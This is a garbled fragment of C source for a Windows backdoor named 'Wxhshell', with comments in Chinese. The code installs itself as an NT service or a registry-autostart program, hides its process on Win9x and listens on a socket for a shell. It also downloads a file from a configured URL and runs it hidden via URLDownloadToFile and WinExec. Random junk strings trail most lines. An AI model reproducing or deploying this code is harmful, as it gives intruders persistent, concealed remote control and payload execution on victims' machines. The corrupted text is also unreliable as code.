DWORD BasePriority; 2aG<^3
ULONG UniqueProcessId; ZE9*i}r
ULONG InheritedFromUniqueProcessId; yP@=x!$
} PROCESS_BASIC_INFORMATION; ,Ubnz
mb#)w`<
PROCNTQSIP NtQueryInformationProcess; Lh+^GQ
)z aMycW
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jq[>PvR
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6O"0?wG+
@{a(f;
HANDLE hProcess; +5Mx0s(5
PROCESS_BASIC_INFORMATION pbi; BH}u\K
\+,jM6l}-
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); UkdQ#b1
if(NULL == hInst ) return 0; %VdJ<=@
NEN br$,G
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Lpn`HAw&
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f_
::?
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F2u{Wzr_@
!,\]> c
if (!NtQueryInformationProcess) return 0; w<'mV^S
l-mUc1.S
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F4k`x/ak
if(!hProcess) return 0; {u:DC4eut
# OJD<=")
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R4o_zwWgPw
&BQ`4j~.
CloseHandle(hProcess); K
<0ItNv
8U-}%D<a
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I|p(8R!
if(hProcess==NULL) return 0; b&!X#3(KT
Pp}j=$&j\
HMODULE hMod; < B'BlqTS
char procName[255]; HK }C<gg
unsigned long cbNeeded; . [C~a
gHTo|2 Q{
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zW\&q!`IRP
P2lj#aQLS
CloseHandle(hProcess); h'wI/Z_'
dfk=%lZYd9
if(strstr(procName,"services")) return 1; // 以服务启动 w,^!kO0)~8
?-6oh~W<
return 0; // 注册表启动 S25&UwUw
} M[SWMVN{
LA1UD+S
// 主模块 ,%Dn}mWu
int StartWxhshell(LPSTR lpCmdLine) AuWEy-q?
{ h\jwXMi,tj
SOCKET wsl; |o6B:NH,rg
BOOL val=TRUE; /-1[}h%U'
int port=0; - wCfwC
struct sockaddr_in door; |LWG7
ZE
z7>
if(wscfg.ws_autoins) Install(); ,|}Pof=]xk
rtC.!].;%
port=atoi(lpCmdLine); H:2#/1Oz>
'`^`NI`
if(port<=0) port=wscfg.ws_port; fmFh.m.+N
F`+}p-
WSADATA data; NZCPmst
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u6;SgPw
{e,S}:$g4
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; a|{RK}|3
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 83e{rcs
door.sin_family = AF_INET; =UT*1-yhR
door.sin_addr.s_addr = inet_addr("127.0.0.1"); }GRZCX>
door.sin_port = htons(port); p78X,44xg
UTC|8
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E:!?A@Fy
closesocket(wsl); M |6l
return 1; @WEDXB
} 09HlL=0q
|Q[[WHqj2f
if(listen(wsl,2) == INVALID_SOCKET) { ]Vuq)#
closesocket(wsl); EPkmBru
^
return 1; s8Bbet
} H}Z\r2
Wxhshell(wsl); Db3#;
WSACleanup(); "Y-_83
f_I6g uDPz
return 0; -T$%MX
m:_'r"o
} INt]OPD
jbZ%Y0km%
// 以NT服务方式启动 > yk2
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^}8qPBz
{ z3>ldT
DWORD status = 0; U|ZYoc+](
DWORD specificError = 0xfffffff; mhpaPin*JS
r~N:|ip=
serviceStatus.dwServiceType = SERVICE_WIN32; D;nm~O%
serviceStatus.dwCurrentState = SERVICE_START_PENDING; N/CL?Z>c
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0&wbGbg(W
serviceStatus.dwWin32ExitCode = 0; a/p}
?!\
serviceStatus.dwServiceSpecificExitCode = 0; $S Kax#[
serviceStatus.dwCheckPoint = 0; #$-{hg{
serviceStatus.dwWaitHint = 0; u2\QhP 9
l4:B(
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {Qv Whf
if (hServiceStatusHandle==0) return; l|{q8i#4V
lW6$v*
s9
status = GetLastError(); xNAX)v3Z
if (status!=NO_ERROR) :yFUlO:
{ oyC5M+shP9
serviceStatus.dwCurrentState = SERVICE_STOPPED; m!#'4
serviceStatus.dwCheckPoint = 0; WtS5i7:<Y
serviceStatus.dwWaitHint = 0; ^?<gz!(-
serviceStatus.dwWin32ExitCode = status;
@'IRh9
serviceStatus.dwServiceSpecificExitCode = specificError; ,9~=yC
SetServiceStatus(hServiceStatusHandle, &serviceStatus); sH_B*cr3
return; "($"T v2
} j; TXZ`|(
yX7P5c.
serviceStatus.dwCurrentState = SERVICE_RUNNING; Te d1Ky2O
serviceStatus.dwCheckPoint = 0; tXXnHEz
serviceStatus.dwWaitHint = 0; ){}1u ?
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); IEmjWw4
} 9Ib#A
n F1}?
// 处理NT服务事件,比如:启动、停止 }ebu@)r
VOID WINAPI NTServiceHandler(DWORD fdwControl) o$q})!
{ T"_f9?
switch(fdwControl) -4Hf5!
{ .(g"(fgF
case SERVICE_CONTROL_STOP: )i/x%^ca$
serviceStatus.dwWin32ExitCode = 0; <rI8O;\H
serviceStatus.dwCurrentState = SERVICE_STOPPED; -^ceTzW+
serviceStatus.dwCheckPoint = 0; /<
-+*79G
serviceStatus.dwWaitHint = 0; qbx}9pp}g
{ qw<~v?{|C
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q ym=L(X
} 5c
($~EFr
return; ]5a,%*f+
case SERVICE_CONTROL_PAUSE: |SX31T9rG
serviceStatus.dwCurrentState = SERVICE_PAUSED; #Y<QEGb(
break; 9.>he+
case SERVICE_CONTROL_CONTINUE: >(He,o@M
serviceStatus.dwCurrentState = SERVICE_RUNNING; %X -G(Z
break; HDHC9E6
case SERVICE_CONTROL_INTERROGATE: ,V &RpKek
break; 6Eu"T9(
}; Q@ghQGn#
SetServiceStatus(hServiceStatusHandle, &serviceStatus); $s<bKju
} N$! Vm(S
)-\[A<(
// 标准应用程序主函数 6b-E|;"]:^
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >Pwu>
{ dQ-:]T (
ov|/=bzro
// 获取操作系统版本 d>hLnz1O
OsIsNt=GetOsVer(); w$$vR
GetModuleFileName(NULL,ExeFile,MAX_PATH); el3lR((H
94'0X
// 从命令行安装 $.KDnl^
if(strpbrk(lpCmdLine,"iI")) Install(); ~#PC(g
a&C}'e"
// 下载执行文件 #,;X2% c
if(wscfg.ws_downexe) { !b{7gUjyI
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9-hVlQ~|
WinExec(wscfg.ws_filenam,SW_HIDE); &XZS}n
} b
|JM4jgK
(aX6jdvo
if(!OsIsNt) { u Tvck6
// 如果时win9x,隐藏进程并且设置为注册表启动 cIOM}/gqv
HideProc(); Rdl^-\BV
StartWxhshell(lpCmdLine); v~KgCLo
} fl*>m,
else A5kz(pj
if(StartFromService()) {hi'LA-4@
// 以服务方式启动 H q."_i{I
StartServiceCtrlDispatcher(DispatchTable); +ieRpVg
else &? z6f9*$
// 普通方式启动 b Fwc >
StartWxhshell(lpCmdLine); $94l('B6H
b$/'dnx
return 0; .TKKjS%8
}